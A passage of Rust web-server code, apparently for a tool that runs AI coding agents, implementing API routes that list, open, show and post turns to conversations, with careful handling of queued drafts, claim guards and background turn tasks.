9037        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9038            .turns
9039            .iter()
9040            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9041            .collect();
9042        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9043            .turns
9044            .iter()
9045            .map(|turn| {
9046                if turn.messages.is_empty() {
9047                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9048                } else {
9049                    turn.messages
9050                        .iter()
9051                        .map(|message| {
9052                            notice_markdown(
9053                                message.sender.unwrap_or(talk::Sender::Operator),
9054                                &message.body,
9055                                message.display.as_ref(),
9056                            )
9057                        })
9058                        .collect()
9059                }
9060            })
9061            .collect();
9062        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9063            .pending_messages
9064            .iter()
9065            .map(|message| {
9066                notice_markdown(
9067                    message.sender.unwrap_or(talk::Sender::Operator),
9068                    &message.body,
9069                    message.display.as_ref(),
9070                )
9071            })
9072            .collect();
9073        for nodes in &mut turn_bodies_md {
9074            references.markdown(nodes);
9075        }
9076        for nodes in turn_messages_md
9077            .iter_mut()
9078            .flatten()
9079            .chain(pending_messages_md.iter_mut())
9080            .flatten()
9081        {
9082            references.markdown(nodes);
9083        }
9084        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9085        let persona_name = persona::find(specs, &talk.persona)
9086            .filter(|p| !p.is_default())
9087            .map(|p| p.name);
9088        let mut avatar_persona = persona::find(specs, &talk.persona)
9089            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9090        // A removed configured persona may still have an override and old talks.
9091        if avatar_persona.id != talk.persona
9092            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9093        {
9094            avatar_persona.id.clone_from(&talk.persona);
9095            avatar_persona.icon = None;
9096        }
9097        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9098        let approvals_store = ask::Questions::at(home.join("questions"));
9099        let merge_approvals = talk
9100            .notified
9101            .iter()
9102            .filter_map(|key| key.strip_prefix("question:"))
9103            .filter_map(|id| approvals_store.get(id).ok())
9104            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9105            .filter_map(|q| {
9106                Some(ChatApproval {
9107                    question: q.id,
9108                    target: q.merge_target?,
9109                })
9110            })
9111            .collect();
9112        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9113        Self {
9114            turn_bodies_md,
9115            turn_messages_md,
9116            pending_messages_md,
9117            merge_approvals,
9118            thinking,
9119            context,
9120            operator_name,
9121            persona_name,
9122            persona_avatar,
9123            magi_avatar: magi_icon_url(home),
9124            operator_avatar: operator_icon_url(home),
9125            talk,
9126        }
9127    }
9128}
9129
9130/// Parse only the user-facing representation of an explicitly identified MAGI send.
9131fn notice_markdown(
9132    sender: talk::Sender,
9133    body: &str,
9134    display: Option<&crate::prompt::NoticeDisplay>,
9135) -> Option<Vec<md::Node>> {
9136    if sender != talk::Sender::Magi {
9137        return None;
9138    }
9139    let text = if let Some(display) = display {
9140        display.facts.as_str()
9141    } else {
9142        // Unknown completion templates may contain internal directives. Never
9143        // promote their agent input to the Markdown display surface.
9144        if crate::prompt::is_completion_notice(body)
9145            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9146        {
9147            return None;
9148        }
9149        body.strip_prefix("magi: ").unwrap_or(body)
9150    };
9151    Some(md::to_nodes(text, &md::ImageBase::None))
9152}
9153
9154/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9155/// conversation has filed, so the phone can follow one from inside the
9156/// conversation that asked for it rather than hunting the Queue for a task id
9157/// it may not remember.
9158#[derive(Debug, Serialize)]
9159struct TalkDetailView {
9160    #[serde(flatten)]
9161    view: TalkView,
9162    tasks: Vec<TaskView>,
9163    task_progress: TalkTaskProgress,
9164    goal_link: Option<TalkGoalLink>,
9165    goal_link_for: Timestamp,
9166    /// The agents this talk's repository can switch to; empty when its
9167    /// configuration cannot be read, which must not fail the whole detail.
9168    roster: Vec<RosterEntry>,
9169    /// The personas the conversation can pick from. The built-ins are always
9170    /// listed, even when the repository's configuration cannot be read.
9171    personas: Vec<PersonaEntry>,
9172}
9173
9174/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9175#[derive(Debug, Serialize)]
9176struct TalkTaskProgress {
9177    state: &'static str,
9178    total: usize,
9179    done: usize,
9180    counts: std::collections::BTreeMap<&'static str, usize>,
9181    unfinished_ids: Vec<String>,
9182}
9183
9184fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9185    let mut counts = std::collections::BTreeMap::from([
9186        ("queued", 0),
9187        ("running", 0),
9188        ("done", 0),
9189        ("failed", 0),
9190        ("held", 0),
9191        ("blocked", 0),
9192        ("parked", 0),
9193    ]);
9194    let mut unfinished_ids = Vec::new();
9195    for task in tasks {
9196        *counts.entry(task.status.as_str()).or_default() += 1;
9197        if task.status != TaskStatus::Done {
9198            unfinished_ids.push(task.id.clone());
9199        }
9200    }
9201    TalkTaskProgress {
9202        state: if tasks.is_empty() {
9203            "none"
9204        } else if unfinished_ids.is_empty() {
9205            "complete"
9206        } else {
9207            "incomplete"
9208        },
9209        total: tasks.len(),
9210        done: tasks.len() - unfinished_ids.len(),
9211        counts,
9212        unfinished_ids,
9213    }
9214}
9215
9216/// Prefer a referenced task's current Run or Task, then an explicitly
9217/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9218#[derive(Debug, Serialize)]
9219struct TalkGoalLink {
9220    goal: String,
9221    kind: &'static str,
9222    id: String,
9223}
9224
9225fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9226    let goal = crate::chat_goal::Goal::selected(talk)?;
9227    let repo = goal.effective_repo(&talk.repo);
9228    let valid_run = |id: &str| {
9229        plain_record_id(id)
9230            && read_run(runs, id).is_ok_and(|state| {
9231                state.id == id
9232                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9233            })
9234    };
9235    for id in goal.tasks.iter().rev() {
9236        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9237            continue;
9238        };
9239        // Repository reassignments retain historical runs. Only this task's
9240        // current execution can be presented as the goal's current Run.
9241        if let Some(run) = task.execution_runs().last()
9242            && valid_run(run)
9243        {
9244            return Some(TalkGoalLink {
9245                goal: goal.id.clone(),
9246                kind: "run",
9247                id: run.clone(),
9248            });
9249        }
9250        return Some(TalkGoalLink {
9251            goal: goal.id.clone(),
9252            kind: "task",
9253            id: task.id,
9254        });
9255    }
9256    for id in goal.runs.iter().rev() {
9257        if valid_run(id) {
9258            return Some(TalkGoalLink {
9259                goal: goal.id.clone(),
9260                kind: "run",
9261                id: id.clone(),
9262            });
9263        }
9264    }
9265    None
9266}
9267
9268/// One persona as the talk's persona selector shows it.
9269#[derive(Debug, Serialize)]
9270struct PersonaEntry {
9271    id: String,
9272    name: String,
9273    /// Avatar URL, see [`TalkView::persona_avatar`].
9274    avatar: String,
9275}
9276
9277/// One roster agent as the talk's agent selector shows it.
9278#[derive(Debug, Serialize)]
9279struct RosterEntry {
9280    id: String,
9281    kind: AgentKind,
9282    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9283    runnable: bool,
9284}
9285
9286/// Bounded summaries; `/page` carries a cursor for older membership.
9287async fn talks_list(
9288    State(ui): State<Arc<Ui>>,
9289    Query(q): Query<ListQuery>,
9290    headers: header::HeaderMap,
9291) -> ApiResult<Json<Vec<TalkListView>>> {
9292    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9293        let limit = q.limit.unwrap_or(50).min(50);
9294        let ids = if let Some(ids) = q.ids {
9295            ids.split(',')
9296                .filter(|id| plain_record_id(id))
9297                .take(limit)
9298                .map(str::to_owned)
9299                .collect()
9300        } else {
9301            page_ids(&ui, true, PageQuery::default())?
9302                .0
9303                .into_iter()
9304                .take(limit.min(STORE_PAGE_SIZE))
9305                .collect()
9306        };
9307        Ok(Json(talk_rows(&ui, ids, &headers)))
9308    })
9309    .await
9310}
9311
9312/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9313/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9314/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9315/// end still opens a talk against an older binary.
9316#[derive(Debug, Default, Deserialize)]
9317#[serde(default)]
9318struct NewTalk {
9319    agent: Option<String>,
9320    repo: Option<PathBuf>,
9321    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9322    /// wrong type is dropped like a stale value instead of failing the request;
9323    /// each falls back to its default on its own (see [`talk::begin_with`]).
9324    preferred_agent: Option<serde_json::Value>,
9325    persona: Option<serde_json::Value>,
9326    implementers: Option<serde_json::Value>,
9327}
9328
9329/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9330/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9331async fn talk_post(
9332    State(ui): State<Arc<Ui>>,
9333    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9334) -> ApiResult<impl IntoResponse> {
9335    // An absent body, or an empty one, is the normal way to open a talk - see
9336    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9337    // rather than refused.
9338    let body = match body {
9339        Ok(Json(body)) => body,
9340        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9341        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9342    };
9343    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9344    let cfg = config_for(&repo).await?;
9345    let view = blocking(move || {
9346        let preferred = talk::Preferred {
9347            agent: body
9348                .preferred_agent
9349                .as_ref()
9350                .and_then(|v| v.as_str())
9351                .map(str::to_owned),
9352            persona: body
9353                .persona
9354                .as_ref()
9355                .and_then(|v| v.as_str())
9356                .map(str::to_owned),
9357            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9358        };
9359        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9360        let thinking = ui.is_thinking(&talk.id);
9361        Ok(TalkView::new(talk, thinking, &ui))
9362    })
9363    .await?;
9364    Ok((StatusCode::CREATED, Json(view)))
9365}
9366
9367/// Transcript first: unrelated queue history and repository probes are deferred.
9368async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9369    // Keep transcript reads independent of sections and the runtime blocking pool.
9370    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9371        let id = resolve_talk(&ui.talks, &id)?;
9372        let talk = ui.talks.get(&id)?;
9373        let thinking = ui.is_thinking_observed(&id);
9374        // The browser already resolves Markdown text/code references after
9375        // rendering. A cold reference/review index must not gate the transcript.
9376        Ok(Json(TalkView::with_references(
9377            talk,
9378            thinking,
9379            None,
9380            &ui.home,
9381            &id_links::IdIndex::default(),
9382        )))
9383    })
9384    .await
9385}
9386
9387async fn talk_sections(
9388    State(ui): State<Arc<Ui>>,
9389    Path(id): Path<String>,
9390) -> ApiResult<Json<serde_json::Value>> {
9391    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9392        let id = resolve_talk(&ui.talks, &id)?;
9393        let talk = ui.talks.get(&id)?;
9394        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9395        let task_progress = talk_task_progress(&tasks);
9396        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9397        let tasks: Vec<_> = tasks
9398            .into_iter()
9399            .map(|task| {
9400                serde_json::json!({
9401                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9402                })
9403            })
9404            .collect();
9405        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9406        let roster: Vec<_> = cfg
9407            .as_ref()
9408            .map(|cfg| {
9409                cfg.agents
9410                    .iter()
9411                    .map(|a| RosterEntry {
9412                        id: a.id.clone(),
9413                        kind: a.kind,
9414                        runnable: agent::installed(a),
9415                    })
9416                    .collect()
9417            })
9418            .unwrap_or_default();
9419        let specs = cfg
9420            .as_ref()
9421            .map(|cfg| cfg.talk.personas.clone())
9422            .unwrap_or_default();
9423        let personas: Vec<_> = persona::catalog(&specs)
9424            .into_iter()
9425            .map(|p| PersonaEntry {
9426                avatar: avatar_url(&ui.home, &talk.id, &p),
9427                id: p.id,
9428                name: p.name,
9429            })
9430            .collect();
9431        let active_persona = persona::find(&specs, &talk.persona)
9432            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9433        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9434        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9435        Ok(Json(serde_json::json!({
9436            "tasks": tasks, "task_progress": task_progress,
9437            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9438            "roster": roster, "personas": personas,
9439            "context": talk::context_usage(&talk, cfg.as_ref()),
9440            "context_for": talk.updated_at,
9441            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9442            "persona_name": persona_name,
9443            "persona_avatar": persona_avatar,
9444        })))
9445    })
9446    .await
9447}
9448
9449/// `GET /api/talks/{id}`.
9450async fn talk_detail(
9451    State(ui): State<Arc<Ui>>,
9452    Path(id): Path<String>,
9453) -> ApiResult<Json<TalkDetailView>> {
9454    blocking(move || {
9455        let id = resolve_talk(&ui.talks, &id)?;
9456        let talk = ui.talks.get(&id)?;
9457        let thinking = ui.is_thinking_observed(&talk.id);
9458        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9459        let task_progress = talk_task_progress(&tasks);
9460        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9461        let goal_link_for = talk.updated_at;
9462        let tasks = tasks.into_iter().map(TaskView::from).collect();
9463        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9464        let roster = cfg
9465            .as_ref()
9466            .map(|cfg| {
9467                cfg.agents
9468                    .iter()
9469                    .map(|a| RosterEntry {
9470                        id: a.id.clone(),
9471                        kind: a.kind,
9472                        runnable: agent::installed(a),
9473                    })
9474                    .collect()
9475            })
9476            .unwrap_or_default();
9477        let specs = cfg
9478            .as_ref()
9479            .map(|cfg| cfg.talk.personas.clone())
9480            .unwrap_or_default();
9481        let personas = persona::catalog(&specs)
9482            .into_iter()
9483            .map(|p| PersonaEntry {
9484                avatar: avatar_url(&ui.home, &talk.id, &p),
9485                id: p.id,
9486                name: p.name,
9487            })
9488            .collect();
9489        Ok(Json(TalkDetailView {
9490            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9491            tasks,
9492            task_progress,
9493            goal_link,
9494            goal_link_for,
9495            roster,
9496            personas,
9497        }))
9498    })
9499    .await
9500}
9501
9502/// The body of `POST /api/talks/{id}/say`.
9503///
9504/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9505/// returned - never bytes of its own - so a turn with no images just omits
9506/// the field, which is what an older front end still does.
9507#[derive(Debug, Default, Deserialize)]
9508#[serde(default, deny_unknown_fields)]
9509struct NewTalkTurn {
9510    reply_to: Option<talk::ReplyTarget>,
9511    text: String,
9512    attachments: Vec<String>,
9513}
9514
9515#[derive(Debug, Deserialize)]
9516#[serde(deny_unknown_fields)]
9517struct EditTalkPending {
9518    #[serde(default)]
9519    message: Option<usize>,
9520    text: String,
9521    expected_text: String,
9522    expected_attachments: Vec<String>,
9523}
9524
9525#[derive(Debug, Deserialize)]
9526#[serde(deny_unknown_fields)]
9527struct ClearTalkPending {
9528    expected_text: String,
9529    expected_attachments: Vec<String>,
9530}
9531
9532/// `POST /api/talks/{id}/say` - one turn of the conversation.
9533///
9534/// Not filesystem work, and therefore not routed through [`blocking`]: this
9535/// route spawns an agent CLI and a turn here can run for the whole of
9536/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9537/// research turn is expected to run commands rather than answer from what it
9538/// already knows. Holding an HTTP connection open that long is not a thing
9539/// to ask a phone to do; the operator's message is recorded and answered for
9540/// immediately, and the reply lands in the background, discovered through
9541/// the change stream's `talks_rev` the same way every other update on this
9542/// surface is.
9543async fn talk_say(
9544    State(ui): State<Arc<Ui>>,
9545    Path(id): Path<String>,
9546    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9547) -> ApiResult<(StatusCode, Json<TalkView>)> {
9548    let admission = ui.begin_admission()?;
9549    admitted(admission, async move {
9550    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9551    if body.text.trim().is_empty() && body.attachments.is_empty() {
9552        return Err(ApiError::bad_request("say something"));
9553    }
9554
9555    let id = {
9556        let ui = Arc::clone(&ui);
9557        let asked = id.clone();
9558        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9559    };
9560    // A closed Talk never accepts a new immediate or queued turn. Check this
9561    // before claiming a slot so its ordinary domain refusal is a 409, not an
9562    // incidental failure from the later record/queue write.
9563    {
9564        let ui = Arc::clone(&ui);
9565        let id = id.clone();
9566        blocking(move || {
9567            let talk = ui.talks.get(&id)?;
9568            if !talk.status.open() {
9569                return Err(ApiError::conflict(format!(
9570                    "talk {} is {} and takes no more turns",
9571                    talk.short(),
9572                    talk.status.as_str()
9573                )));
9574            }
9575            Ok(())
9576        })
9577        .await?;
9578    }
9579
9580    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9581    // actually stores, before anything is written - an unknown id is a 4xx
9582    // that names it rather than a turn (or a queued draft) silently missing
9583    // an image.
9584    let attachments = {
9585        let ui = Arc::clone(&ui);
9586        let id = id.clone();
9587        let ids = body.attachments.clone();
9588        blocking(move || {
9589            ids.into_iter()
9590                .map(|att_id| {
9591                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9592                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9593                    })
9594                })
9595                .collect::<ApiResult<Vec<talk::Attachment>>>()
9596        })
9597        .await?
9598    };
9599    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9600        .await.map_err(ApiError::from)?;
9601
9602    // Pending recovery and a new immediate turn are decided under the same
9603    // claim lock. Without that one critical section, a second `/say` can see
9604    // the first request's claim as "busy" and append itself to the recovered
9605    // draft before the first request rejects it.
9606    let start = {
9607        let ui = Arc::clone(&ui);
9608        let id = id.clone();
9609        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9610    };
9611    let turn_guard = match start {
9612        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9613        TalkTurnStart::Pending => {
9614            return Err(ApiError::conflict(
9615                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9616            ));
9617        }
9618        TalkTurnStart::Foreign => {
9619            return Err(ApiError::conflict(
9620                "a turn is already running in another process; try again when it has finished",
9621            ));
9622        }
9623        TalkTurnStart::Busy => {
9624            // A turn is already running: queue rather than refuse. See
9625            // `Ui::begin_talk_turn` and `talk::queue`.
9626            //
9627            // The queue write and the drain it may owe live inside the task
9628            // `tokio::spawn` hands to the runtime, for the same reason the
9629            // immediate path below puts `record` there: a dropped handler
9630            // future must not be able to land between a durable write and
9631            // the task that answers it. `blocking` runs its closure on
9632            // `spawn_blocking`, which finishes whether or not anyone is left
9633            // to receive its result - so a disconnect at the `.await` below
9634            // would otherwise leave the draft persisted and the reclaimed
9635            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9636            // ever started and the queued text stranded until some later
9637            // `say` happened to pick it up. The caller's 202 travels back
9638            // over a `oneshot`, sent the moment the write lands.
9639            let (tx, rx) = tokio::sync::oneshot::channel();
9640            tokio::spawn({
9641                let ui = Arc::clone(&ui);
9642                let id = id.clone();
9643                let said = body.text.clone();
9644                let reply_to = body.reply_to.clone();
9645                async move {
9646                    let written = blocking({
9647                        let ui = Arc::clone(&ui);
9648                        let id = id.clone();
9649                        move || {
9650                            let mut talk = ui.talks.get(&id)?;
9651                            // A test-only stop point, right before the write
9652                            // an interleaving test needs to pin - see
9653                            // `BusyQueueGate`. `None` in every real server:
9654                            // the field only exists under `#[cfg(test)]`.
9655                            #[cfg(test)]
9656                            if let Some(gate) = ui
9657                                .busy_queue_gate
9658                                .lock()
9659                                .unwrap_or_else(PoisonError::into_inner)
9660                                .take()
9661                            {
9662                                let _ = gate.reached.send(());
9663                                let _ = gate.release.recv();
9664                            }
9665                            if let Err(error) = talk::queue_reply(
9666                                &mut talk,
9667                                &ui.talks,
9668                                &said,
9669                                attachments,
9670                                reply_to,
9671                            ) {
9672                                if let Ok(fresh) = ui.talks.get(&id) {
9673                                    if !fresh.status.open() {
9674                                        return Err(ApiError::conflict(format!(
9675                                            "talk {} is {} and takes no more turns",
9676                                            fresh.short(),
9677                                            fresh.status.as_str()
9678                                        )));
9679                                    }
9680                                }
9681                                return Err(
9682                                    if error.to_string().contains("invalid reply target") {
9683                                        ApiError::bad_request("invalid reply target")
9684                                    } else {
9685                                        ApiError::from(error)
9686                                    },
9687                                );
9688                            }
9689                            // The turn that looked busy a moment ago can have
9690                            // finished, found nothing to drain and given up the
9691                            // slot in the gap between that check and this write
9692                            // landing - see `drain_loop`'s own doc for the other
9693                            // half of why that gap would otherwise be able to
9694                            // open at all. Reclaiming the slot here, rather than
9695                            // trusting that whoever held it is still watching, is
9696                            // what stops the text just queued from being stranded
9697                            // until an unrelated future `say` happens to drain
9698                            // it.
9699                            let claim = match ui.begin_queued_talk_turn(&id)? {
9700                                Some(turn_guard) => {
9701                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9702                                    Some((talk.clone(), cfg, turn_guard))
9703                                }
9704                                None => None,
9705                            };
9706                            let thinking = ui.is_thinking(&id);
9707                            Ok((TalkView::new(talk, thinking, &ui), claim))
9708                        }
9709                    })
9710                    .await;
9711                    #[cfg(not(test))]
9712                    {
9713                        match written {
9714                            Ok((view, reclaimed)) => {
9715                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9716                                drop(reclaimed);
9717                                match launched {
9718                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9719                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9720                                }
9721                            }
9722                            Err(error) => { let _ = tx.send(Err(error)); }
9723                        }
9724                    }
9725                    #[cfg(test)]
9726                    {
9727                    let (view, reclaimed) = match written {
9728                        Ok(pair) => pair,
9729                        Err(e) => {
9730                            // Nobody is listening if the handler's own future
9731                            // was already dropped - that is fine, nothing was
9732                            // persisted and there is no response left to carry
9733                            // this error to.
9734                            let _ = tx.send(Err(e));
9735                            return;
9736                        }
9737                    };
9738                    // If this fails, the caller is gone; the drain below still
9739                    // runs exactly as it would have for a caller that stayed.
9740                    let _ = tx.send(Ok(view));
9741                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9742                        let talks = ui.talks.clone();
9743                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9744                    }
9745                    }
9746                }
9747            });
9748            let view = rx
9749                .await
9750                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9751            return Ok((StatusCode::ACCEPTED, Json(view)));
9752        }
9753    };
9754
9755    let (talk, cfg) = {
9756        let ui = Arc::clone(&ui);
9757        let id = id.clone();
9758        blocking(move || {
9759            let talk = ui.talks.get(&id)?;
9760            let (cfg, _) = Config::discover(&talk.repo, None)?;
9761            Ok((talk, cfg))
9762        })
9763        .await?
9764    };
9765
9766    let talks = ui.talks.clone();
9767    // `record` runs *inside* the spawned task, rather than in this handler
9768    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9769    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9770    // doc), and that drop can land at any `.await` this function makes,
9771    // including one that has already produced its result but not yet
9772    // resumed. A message could end up recorded on disk with the handler
9773    // future gone before it ever reached the `tokio::spawn` that would have
9774    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9775    // that hands the whole future to the runtime as one unit - once made, no
9776    // later drop of *this* handler's own future (that call's return value is
9777    // never held onto here) can reach back in and stop it, so record and the
9778    // hand-off to `respond` are unconditionally atomic from the client's
9779    // point of view. The immediate response this handler owes the caller
9780    // travels back over a `oneshot`, sent the moment `record` succeeds.
9781    let (tx, rx) = tokio::sync::oneshot::channel();
9782    tokio::spawn({
9783        #[cfg(test)]
9784        let ui = Arc::clone(&ui);
9785        let talks = talks.clone();
9786        let id = id.clone();
9787        let said = body.text.clone();
9788        let reply_to = body.reply_to.clone();
9789        let mut talk = talk.clone();
9790        async move {
9791            let recorded = blocking({
9792                let talks = talks.clone();
9793                move || {
9794                    if let Err(error) =
9795                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9796                    {
9797                        if let Ok(fresh) = talks.get(&talk.id) {
9798                            if !fresh.status.open() {
9799                                return Err(ApiError::conflict(format!(
9800                                    "talk {} is {} and takes no more turns",
9801                                    fresh.short(),
9802                                    fresh.status.as_str()
9803                                )));
9804                            }
9805                        }
9806                        return Err(if error.to_string().contains("invalid reply target") {
9807                            ApiError::bad_request("invalid reply target")
9808                        } else {
9809                            ApiError::from(error)
9810                        });
9811                    }
9812                    // `record` mutates `talk` in place to the freshly persisted
9813                    // state (status, pending, and the just-appended operator
9814                    // turn), so returning it here is equivalent to re-reading it
9815                    // from disk - without the extra round trip a re-read would
9816                    // need.
9817                    Ok((said.trim().to_owned(), talk))
9818                }
9819            })
9820            .await;
9821            let (text, talk) = match recorded {
9822                Ok(pair) => pair,
9823                Err(e) => {
9824                    // Nobody is listening if the handler's own future was
9825                    // already dropped - that is fine, there is no response
9826                    // left to carry this error to and nothing was persisted.
9827                    let _ = tx.send(Err(e));
9828                    return;
9829                }
9830            };
9831            #[cfg(not(test))]
9832            {
9833                let _ = (&cfg, &text);
9834                // The reservation becomes durable while this process still
9835                // holds the talk lease. The child waits for that lease; the
9836                // new UI sees its startup reservation immediately.
9837                let result = crate::chat_worker::spawn_recorded_turn(
9838                    &talks, &id, talk.turns.len() - 1,
9839                ).await;
9840                drop(turn_guard);
9841                match result {
9842                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9843                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9844                }
9845            }
9846            #[cfg(test)]
9847            {
9848            let queued = talk.clone();
9849            let mut talk = talk;
9850            let thinking = ui.is_thinking(&id);
9851            // If this fails, the caller is gone; the turn still runs below
9852            // exactly as it would have for a caller that stayed connected.
9853            let _ = tx.send(Ok((queued, thinking)));
9854
9855            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9856                // `respond` records the failure in the transcript itself,
9857                // which is what the phone reads; this line is for the
9858                // operator's terminal.
9859                tracing::warn!("talk {id} turn failed: {e:#}");
9860            }
9861            // Anything `talk::queue` added while the turn above was running
9862            // is still owed an answer - see `drain_loop`.
9863            drain_loop(talk, talks, cfg, id, turn_guard).await;
9864            }
9865        }
9866    });
9867
9868    let (queued, thinking) = rx
9869        .await
9870        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9871
9872    // 202: the operator's message is recorded and a turn is running.
9873    Ok((
9874        StatusCode::ACCEPTED,
9875        Json(TalkView::new(queued, thinking, &ui)),
9876    ))
9877    }).await
9878}
9879
9880/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9881/// changing it. The turn guard is the same per-talk ownership `talk_say`
9882/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9883async fn talk_pending_resume(
9884    State(ui): State<Arc<Ui>>,
9885    Path(id): Path<String>,
9886) -> ApiResult<(StatusCode, Json<TalkView>)> {
9887    let admission = ui.begin_admission()?;
9888    admitted(admission, async move {
9889        let id = {
9890            let ui = Arc::clone(&ui);
9891            let asked = id.clone();
9892            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9893        };
9894        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9895            .await
9896            .map_err(ApiError::from)?;
9897        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9898            return Err(ApiError::conflict(
9899                "a talk turn is already running; the queued draft will be handled by it",
9900            ));
9901        };
9902        let (talk, cfg) = {
9903            let ui = Arc::clone(&ui);
9904            let id = id.clone();
9905            blocking(move || {
9906                let talk = ui.talks.get(&id)?;
9907                if !talk.status.open() {
9908                    return Err(ApiError::conflict(format!(
9909                        "talk {} is {} and takes no more turns",
9910                        talk.short(),
9911                        talk.status.as_str()
9912                    )));
9913                }
9914                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9915                    return Err(ApiError::conflict("there is no queued draft to resume"));
9916                }
9917                let (cfg, _) = Config::discover(&talk.repo, None)?;
9918                Ok((talk, cfg))
9919            })
9920            .await?
9921        };
9922        let view = TalkView::new(talk.clone(), true, &ui);
9923        let talks = ui.talks.clone();
9924        #[cfg(not(test))]
9925        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9926        #[cfg(test)]
9927        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9928        Ok((StatusCode::ACCEPTED, Json(view)))
9929    })
9930    .await
9931}
9932
9933/// Hand off an admitted draft while retaining the talk lease until its
9934/// detached startup reservation is durable.
9935#[cfg(not(test))]
9936async fn detach_talk_turn(
9937    _talk: Talk,
9938    talks: Talks,
9939    _cfg: Config,
9940    id: String,
9941    turn: TalkTurnGuard,
9942) -> ApiResult<()> {
9943    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9944    drop(turn);
9945    launched.map(|_| ()).map_err(ApiError::from)
9946}
9947
9948#[cfg(test)]
9949async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9950    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9951}
9952
9953/// A settings response must not report idle while its claim is still held.
9954/// Wait until the first drain either releases the claim or promotes a draft.
9955/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9956async fn settle_settings_turn(
9957    talk: Talk,
9958    talks: Talks,
9959    cfg: Config,
9960    id: String,
